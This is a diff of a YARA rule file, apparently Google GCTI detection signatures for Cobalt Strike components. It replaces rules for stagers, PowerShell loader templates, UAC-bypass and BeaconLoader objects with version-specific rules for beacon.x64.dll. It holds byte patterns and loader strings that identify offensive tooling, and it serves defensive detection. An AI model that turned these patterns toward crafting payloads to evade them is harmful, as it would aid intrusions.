"https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Httpsstager64_Bin_v3_2_through_v4_x.yara#L17-L90" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1111-L1148" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "109b8c55816ddc0defff360c93e8a07019ac812dd1a42209ea7e95ba79b5a573" - logic_hash = "4889a23c1f2780044b9fb2a0207676d57e82e6c1275614b684a5a9cbe984b761" + hash = "5a4d48c2eda8cda79dc130f8306699c8203e026533ce5691bf90363473733bf0" + logic_hash = "65aa42265133038f6f568c021c0228440e84e236829af50796a73f6923f46395" score = 75 quality = 85 tags = "" strings: - $apiLocator = { - 48 [2] - AC - 41 [2] 0D - 41 [2] - 38 ?? - 75 ?? - 4C [4] - 45 [2] - 75 ?? - 5? - 44 [2] 24 - 49 [2] - 66 [4] - 44 [2] 1C - 49 [2] - 41 [3] - 48 - } - $InternetSetOptionA = { - BA 1F 00 00 00 - 6A 00 - 68 80 33 00 00 - 49 [2] - 41 ?? 04 00 00 00 - 41 ?? 75 46 9E 86 - } + $version_sig = { 8B D3 48 8B CF E8 56 6F 00 00 E9 17 FB FF FF + 41 B8 01 00 00 00 8B D3 48 8B CF E8 41 4D 00 00 + 48 8B 5C 24 30 48 83 C4 20 } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: - $apiLocator and $InternetSetOptionA + all of them } -rule GCTI_Cobaltstrike_Resources_Reverse_Bin_V2_5_Through_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_5_Hf1_And_V3_5_1 { meta: - description = "Cobalt Strike's resources/reverse.bin signature for versions 2.5 to 4.x" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.5-hf1 and 3.5.1" author = "gssincla@google.com" - id = "182dbcd0-1180-5516-abe3-cf2eebbd0e39" + id = "0c0e87d3-e0e2-5ddc-9d89-5e56443da4b8" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Reverse_Bin_v2_5_through_v4_x.yara#L17-L104" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1150-L1189" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "887f666d6473058e1641c3ce1dd96e47189a59c3b0b85c8b8fccdd41b84000c7" - logic_hash = "c6c4fc477c7654ec07eb6ef4c6d53805a9b4881ba288754e1f50b3e4b134333c" + hash = "934134ab0ee65ec76ae98a9bb9ad0e9571d80f4bf1eb3491d58bacf06d42dc8d" + logic_hash = "5cd69554edb91956f4ec4c3c5e55f4cd9c3665656c318220ba3a270c0bb0a690" score = 75 quality = 85 tags = "" strings: - $apiLocator = { - 31 ?? - AC - C1 ?? 0D - 01 ?? - 38 ?? - 75 ?? - 03 [2] - 3B [2] - 75 ?? - 5? - 8B ?? 24 - 01 ?? - 66 8B [2] - 8B ?? 1C - 01 ?? - 8B ?? 8B - 01 ?? - 89 [3] - 5? - 5? - } - $ws2_32 = { - 5D - 68 33 32 00 00 - 68 77 73 32 5F - } - $connect = { - 6A 10 - 5? - 5? - 68 99 A5 74 61 - } + $version_sig = { 8B D3 48 8B CF E8 38 70 00 00 E9 FD FA FF FF + 41 B8 01 00 00 00 8B D3 48 8B CF E8 3F 4D 00 00 + 48 8B 5C 24 30 48 83 C4 20 5F } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: - $apiLocator and $ws2_32 and $connect + all of them } -rule GCTI_Cobaltstrike_Resources_Template_X64_Ps1_V3_0_To_V4_X_Excluding_3_12_3_13 +rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_6 { meta: - description = "Cobalt Strike's resources/template.x64.ps1, resources/template.hint.x64.ps1 and resources/template.hint.x32.ps1 from v3.0 to v4.x except 3.12 and 3.13" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.6" author = "gssincla@google.com" - id = "5a808113-aacb-56ca-b3ec-166c73c54b85" + id = "9651a1ca-d8ea-5b0b-bcba-a850c2e07791" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_x64_Ps1_v3_0_to_v4_x_excluding_3_12_3_13.yara#L17-L37" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1191-L1233" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "ff743027a6bcc0fee02107236c1f5c96362eeb91f3a5a2e520a85294741ded87" - logic_hash = "80823b8590004686ebd83958cad16094ea2f6958a837d87934507531a00df77a" + hash = "92b0a4aec6a493bcb1b72ce04dd477fd1af5effa0b88a9d8283f26266bb019a1" + logic_hash = "d6aff186a01386992f004cb775d280f9b6e7e16d7ecee662d61e3485b0bc088b" score = 75 - quality = 81 + quality = 85 tags = "" strings: - $dda = "[AppDomain]::CurrentDomain.DefineDynamicAssembly" nocase - $imm = "InMemoryModule" nocase - $mdt = "MyDelegateType" nocase - $rd = "New-Object System.Reflection.AssemblyName('ReflectedDelegate')" nocase - $data = "[Byte[]]$var_code = [System.Convert]::FromBase64String(" nocase - $64bitSpecific = "[IntPtr]::size -eq 8" - $mandatory = "Mandatory = $True" + $version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 27 + 0F 87 47 03 00 00 0F 84 30 03 00 00 83 F9 14 + 0F 87 A4 01 00 00 0F 84 7A 01 00 00 83 F9 0C + 0F 87 C8 00 00 00 0F 84 B3 00 00 00 } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Artifact32_And_Resources_Dropper_V1_49_To_V3_14 +rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_7 { meta: - description = "Cobalt Strike's resources/artifact32{.exe,.dll,big.exe,big.dll} and resources/dropper.exe signature for versions 1.49 to 3.14" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.7" author = "gssincla@google.com" - id = "243e3761-cbea-561c-97da-f6ba12ebc7ee" + id = "27fad98a-2882-5c52-af6e-c7dcf5559624" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L17-L32" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1235-L1274" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "40fc605a8b95bbd79a3bd7d9af73fbeebe3fada577c99e7a111f6168f6a0d37a" - logic_hash = "437706c808bca28384a6e8e24fa3ae120a4ebe4166fa4ca3564c58b881fb23a8" + hash = "81296a65a24c0f6f22208b0d29e7bb803569746ce562e2fa0d623183a8bcca60" + logic_hash = "89499e01acd607b2fbcdd134c74ca4a901c00c7c9cf70dd241cc538c1c0d083a" score = 75 quality = 85 tags = "" strings: - $payloadDecoder = { 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 18 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 03 [2] 0F B6 00 31 ?? 88 ?? 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 12 } + $version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 28 + 0F 87 7F 03 00 00 0F 84 67 03 00 00 83 F9 15 + 0F 87 DB 01 00 00 0F 84 BF 01 00 00 } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: - any of them + all of them } -rule GCTI_Cobaltstrike_Resources_Artifact32_V3_1_And_V3_2 +rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_8 { meta: - description = "Cobalt Strike's resources/artifact32{.dll,.exe,svc.exe,big.exe,big.dll,bigsvc.exe} and resources/artifact32uac(alt).dll signature for versions 3.1 and 3.2" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.8" author = "gssincla@google.com" - id = "4fff7f42-9f50-5945-8ec0-2438ac5c7000" + id = "89809d81-9a8b-5cf3-a251-689bf52e98e0" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L34-L60" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1276-L1310" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "4f14bcd7803a8e22e81e74d6061d0df9e8bac7f96f1213d062a29a8523ae4624" - logic_hash = "7a0d33d0260c762b4aa67e4084d7474338c60aa684fd3e622614745d90350da8" + hash = "547d44669dba97a32cb9e95cfb8d3cd278e00599e6a11080df1a9d09226f33ae" + logic_hash = "8845b71ce4401fd194eb88f04dbf1f313af8b4853da004e63261ca3158fcb1d4" score = 75 quality = 85 tags = "" strings: - $decoderFunc = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 ?? 8A ?? 4? 88 } + $version_sig = { 8B D3 48 8B CF E8 7A 52 00 00 EB 0D 45 33 C0 8B D3 48 8B CF + E8 8F 55 00 00 } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Artifact32_V3_14_To_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_11 { meta: - description = "Cobalt Strike's resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.11 (two subversions)" author = "gssincla@google.com" - id = "8a010305-dce5-55f4-b2dd-a736721efe22" + id = "bf0c7661-2583-5fca-beb5-abb2b50c860d" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L62-L89" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1312-L1366" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "888bae8d89c03c1d529b04f9e4a051140ce3d7b39bc9ea021ad9fc7c9f467719" - logic_hash = "fc5c353c568e33df80fa5bab14d11112ca211e269043b83dba8b7d1a6a008a7b" + hash = "64007e104dddb6b5d5153399d850f1e1f1720d222bed19a26d0b1c500a675b1a" + logic_hash = "9c34b23b659463a0ab92949031a9b3246aa95256d1548b2f0ad53fe3d379997d" score = 75 quality = 85 tags = "" + rs2 = "815f313e0835e7fdf4a6d93f2774cf642012fd21ce870c48ff489555012e0047" strings: - $pushFmtStr = { C7 [3] 5C 00 00 00 C7 [3] 65 00 00 00 C7 [3] 70 00 00 00 C7 [3] 69 00 00 00 C7 [3] 70 00 00 00 F7 F1 C7 [3] 5C 00 00 00 C7 [3] 2E 00 00 00 C7 [3] 5C 00 00 00 } - $fmtStr = "%c%c%c%c%c%c%c%c%cMSSE-%d-server" + $version_sig = { 48 83 EC 20 41 8B D8 48 8B FA 83 F9 2D 0F 87 B2 03 00 00 + 0F 84 90 03 00 00 83 F9 17 0F 87 F8 01 00 00 + 0F 84 DC 01 00 00 83 F9 0E 0F 87 F9 00 00 00 + 0F 84 DD 00 00 00 FF C9 0F 84 C0 00 00 00 83 E9 02 + 0F 84 A6 00 00 00 FF C9 } + $decoder = { + 80 34 28 ?? + 48 FF C0 + 48 3D 00 10 00 00 + 7C F1 + } condition: all of them } -rule GCTI_Cobaltstrike__Resources_Browserpivot_Bin_V1_48_To_V3_14_And_Sleeve_Browserpivot_Dll_V4_0_To_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_12 { meta: - description = "Cobalt Strike's resources/browserpivot.bin from v1.48 to v3.14 and sleeve/browserpivot.dll from v4.0 to at least v4.4" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.12" author = "gssincla@google.com" - id = "55086544-6684-526b-914f-505a562be458" + id = "6eeae9f4-96e0-5a98-a8dc-779c916cd968" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Browserpivot_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_Dll_v4_0_to_v4_x.yara#L17-L60" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1368-L1404" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "12af9f5a7e9bfc49c82a33d38437e2f3f601639afbcdc9be264d3a8d84fd5539" - logic_hash = "416554d31c105fd96aeaef508847efe2889590909c8d0025e3862e5b24078131" + hash = "8a28b7a7e32ace2c52c582d0076939d4f10f41f4e5fa82551e7cc8bdbcd77ebc" + logic_hash = "7457b20f2a7dc7e8c3317cedbcfccae30ecc8dc164188c0321f9485fdfab0f6e" score = 75 quality = 85 tags = "" strings: - $socket_recv = { - FF [1-5] - 83 ?? FF - 74 ?? - 85 C0 - (74 | 76) ?? - 03 ?? - 83 ?? 02 - 72 ?? - 80 ?? 3E FF 0A - 75 ?? - 80 ?? 3E FE 0D - } - $fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]" + $version_sig = { 8B D3 48 8B CF E8 F8 2E 00 00 EB 16 8B D3 48 8B CF + E8 00 5C 00 00 EB 0A 8B D3 48 8B CF E8 64 4F 00 00 } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Resources_Bypassuac_X64_Dll_V3_3_To_V3_14_And_Sleeve_Bypassuac_X64_Dll_V4_0_And_V4_X +rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_13 { meta: - description = "Cobalt Strike's resources/bypassuac-x64.dll from v3.3 to v3.14 (64-bit version) and sleeve/bypassuac.x64.dll from v4.0 to at least v4.4" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.13" author = "gssincla@google.com" - id = "eef83901-63d9-55a3-b115-03f420416177" + id = "202eb8ea-7afb-515b-9306-67514abf5e55" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuac_x64_Dll_v3_3_to_v3_14_and_Sleeve_Bypassuac_x64_Dll_v4_0_and_v4_x.yara#L17-L86" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1407-L1440" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "9ecf56e9099811c461d592c325c65c4f9f27d947cbdf3b8ef8a98a43e583aecb" - logic_hash = "d76e3601f61ae164a8df9048d59d15cd6913e64adb93132244e83f40bf67d86a" + hash = "945e10dcd57ba23763481981c6035e0d0427f1d3ba71e75decd94b93f050538e" + logic_hash = "81571a6c30802430d0df9980e005736d58464bde98c0889b48bf8d0c7e88d247" score = 75 quality = 85 tags = "" strings: - $deleteFileCOM = { - 48 8B [5] - 45 33 ?? - 48 8B ?? - FF 90 90 00 00 00 - 85 C0 - 75 ?? - 48 8B [5] - 48 8B ?? - FF 92 A8 00 00 00 - 85 C0 - } - $copyFileCOM = { - 48 8B [5] - 4C 8B [5] - 48 8B [5] - 48 8B ?? - 4C 8B ?? - 48 89 [3] - FF 90 80 00 00 00 - 85 C0 - 0F 85 [4] - 48 8B [5] - 48 8B 11 - FF 92 A8 00 00 00 - } + $version_sig = { 48 8D 0D 01 5B FF FF 48 83 C4 28 E9 A8 54 FF FF 8B D0 + 49 8B CA E8 22 55 FF FF } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beaconloader_HA_X86_O_V4_3_V4_4_V4_5_And_V4_6 +rule GCTI_Cobaltstrike_Resources_Beacon_X64_V3_14 { meta: - description = "Cobalt Strike's sleeve/BeaconLoader.HA.x86.o (HeapAlloc) Versions 4.3 through at least 4.6" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.14" author = "gssincla@google.com" - id = "0ee3fa6f-367c-596f-a3bc-3bcfa61b97aa" + id = "d69171e3-86f4-5187-8874-5eee2045f746" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L17-L59" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1442-L1477" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "8e4a1862aa3693f0e9011ade23ad3ba036c76ae8ccfb6585dc19ceb101507dcd" - logic_hash = "d02257bc556d0b1675997ab6af1b28cf5f498855d6254e3c1cd7eb4a0c4d2715" + hash = "297a8658aaa4a76599a7b79cb0da5b8aa573dd26c9e2c8f071e591200cf30c93" + logic_hash = "87cf465154d4294eeda9cf99c6c160da80cfa8a65244bc083737c0c87163431d" score = 75 quality = 85 tags = "" + rs2 = "39b9040e3dcd1421a36e02df78fe031cbdd2fb1a9083260b8aedea7c2bc406bf" strings: - $core_sig = { - C6 45 F0 48 - C6 45 F1 65 - C6 45 F2 61 - C6 45 F3 70 - C6 45 F4 41 - C6 45 F5 6C - C6 45 F6 6C - C6 45 F7 6F - C6 45 F8 63 - C6 45 F9 00 - } + $version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 B1 1F 00 00 8B D0 49 8B CA + 48 83 C4 28 } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beaconloader_MVF_X86_O_V4_3_V4_4_V4_5_And_V4_6 +rule GCTI_Cobaltstrike_Sleeve_Beacon_Dll_X86_V4_0_Suspected { meta: - description = "Cobalt Strike's sleeve/BeaconLoader.MVF.x86.o (MapViewOfFile) Versions 4.3 through at least 4.6" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.0 (suspected, not confirmed)" author = "gssincla@google.com" - id = "3f7c0553-989e-53e7-87a9-3fa1c47f4b62" + id = "28a735c4-87d1-5e14-9379-46a6fd0cdd2a" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L61-L111" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1480-L1515" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "cded3791caffbb921e2afa2de4c04546067c3148c187780066e8757e67841b44" - logic_hash = "dd831fb01a403213c06e3d07daf3da5f56655619a686149f9d4beec2331fe6ca" + hash = "55aa2b534fcedc92bb3da54827d0daaa23ece0f02a10eb08f5b5247caaa63a73" + logic_hash = "0dbf6a75dc74f4c2a7604072a01e2dbaaee15f5e57c765f24138d85c248fb305" score = 75 quality = 85 tags = "" strings: - $core_sig = { - C6 45 EC 4D - C6 45 ED 61 - C6 45 EE 70 - C6 45 EF 56 - C6 45 F0 69 - C6 45 F1 65 - C6 45 F2 77 - C6 45 F3 4F - C6 45 F4 66 - C6 45 F5 46 - C6 45 F6 69 - C6 45 F7 6C - C6 45 F8 65 - C6 45 F9 00 - } + $version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 D1 B3 FF FF + 8B D0 49 8B CA 48 83 C4 28 E9 AF F5 FF FF 45 33 C0 + 4C 8D 0D 8D 70 FF FF 8B D0 49 8B CA E8 9B B0 FF FF } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beaconloader_VA_X86_O_V4_3_V4_4_V4_5_And_V4_6 +rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_1_And_V_4_2 { meta: - description = "Cobalt Strike's sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.1 and 4.2" author = "gssincla@google.com" - id = "5f89c4be-f4c5-54d3-b923-d125de53902f" + id = "dc320d17-98fc-5df3-ba05-4d134129317e" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L114-L194" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1517-L1553" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1" - logic_hash = "19b2297986bd72204fb117560cddcfb512f5db6c157d9730b5802bf9f968eef4" + hash = "29ec171300e8d2dad2e1ca2b77912caf0d5f9d1b633a81bb6534acb20a1574b2" + logic_hash = "9b262ec18f79ab5ae63ad26d3685af088b5feb2d66de6ad3ba584cafbe2ee221" score = 75 quality = 85 tags = "" strings: - $core_sig = { - C6 45 B0 56 - C6 45 B1 69 - C6 45 B2 72 - C6 45 B3 74 - C6 45 B4 75 - C6 45 B5 61 - C6 45 B6 6C - C6 45 B7 41 - C6 45 B8 6C - C6 45 B9 6C - C6 45 BA 6F - C6 45 BB 63 - C6 45 BC 00 - } - $deobfuscator = { - 8B 4D FC - 83 C1 01 - 89 4D FC - 8B 55 FC - 3B 55 0C - 73 19 - 0F B6 45 10 - 8B 4D 08 - 03 4D FC - 0F BE 11 - 33 D0 - 8B 45 08 - 03 45 FC - 88 10 - EB D6 - } + $version_sig = { 83 F9 34 0F 87 8E 03 00 00 0F 84 7A 03 00 00 83 F9 1C 0F 87 E6 01 00 00 + 0F 84 D7 01 00 00 83 F9 0E 0F 87 E9 00 00 00 0F 84 CE 00 00 00 FF C9 + 0F 84 B8 00 00 00 83 E9 02 0F 84 9F 00 00 00 FF C9 } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: all of them } -rule GCTI_Cobaltstrike_Sleeve_Beaconloader_X86_O_V4_3_V4_4_V4_5_And_V4_6 +rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_3 { meta: - description = "Cobalt Strike's sleeve/BeaconLoader.x86.o Versions 4.3 through at least 4.6" + description = "Cobalt Strike's sleeve/beacon.x64.dll Version 4.3" author = "gssincla@google.com" - id = "32a47966-f3bb-52c3-a977-82a1b09ddf2c" + id = "572616c7-d1ec-5aa1-b142-4f2edf73737f" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L196-L276" + source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L1555-L1590" license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE" - hash = "94d1b993a9d5786e0a9b44ea1c0dc27e225c9eb7960154881715c47f9af78cc1" - logic_hash = "cab5441ce7d919101fc04aa469e77b71a4c444443e44c752f18cbbc5b17ed5c2" + hash = "3ac9c3525caa29981775bddec43d686c0e855271f23731c376ba48761c27fa3d" + logic_hash = "0c8934e997583339145749a3167ac010d8c77b2ed878d2c999de68ec2a98101d" score = 75 quality = 85 tags = "" strings: - $core_sig = { - C6 45 B0 56 - C6 45 B1 69 - C6 45 B2 72 - C6 45 B3 74 - C6 45 B4 75 - C6 45 B5 61 - C6 45 B6 6C - C6 45 B7 41 - C6 45 B8 6C - C6 45 B9 6C - C6 45 BA 6F - C6 45 BB 63 - C6 45 BC 00 - } - $deobfuscator = { - 8B 4D FC - 83 C1 01 - 89 4D FC - 8B 55 FC - 3B 55 0C - 73 19 - 0F B6 45 10 - 8B 4D 08 - 03 4D FC - 0F BE 11 - 33 D0 - 8B 45 08 - 03 45 FC - 88 10 - EB D6 - } + $version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 D3 88 FF FF + 4C 8D 05 84 6E FF FF 8B D0 49 8B CA 48 83 C4 28 } + $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 } condition: - $core_sig and not $deobfuscator + all of them } -rule GCTI_Cobaltstrike_Sleeve_Beaconloader_HA_X64_O_V4_3_V4_4_V4_5_And_V4_6 +rule GCTI_Cobaltstrike_Sleeve_Beacon_X64_V4_4_V_4_5_And_V4_6 { meta: - description = "Cobalt Strike's sleeve/BeaconLoader.HA.x64.o (HeapAlloc) Versions 4.3 through at least 4.6" + description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.4 through at least 4.6" author = "gssincla@google.com" - id = "9b16ff13-2d8e-51dc-9f99-6c45eff76feb" + id = "79b6bfd4-1e45-5bd9-ac5c-19eb176ce698" date = "2022-11-18" - modified = "2022-11-19" + modified = "2023-12-04" reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse" - source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Sleeve_BeaconLoader_all.yara#L281-L323" + source_url = 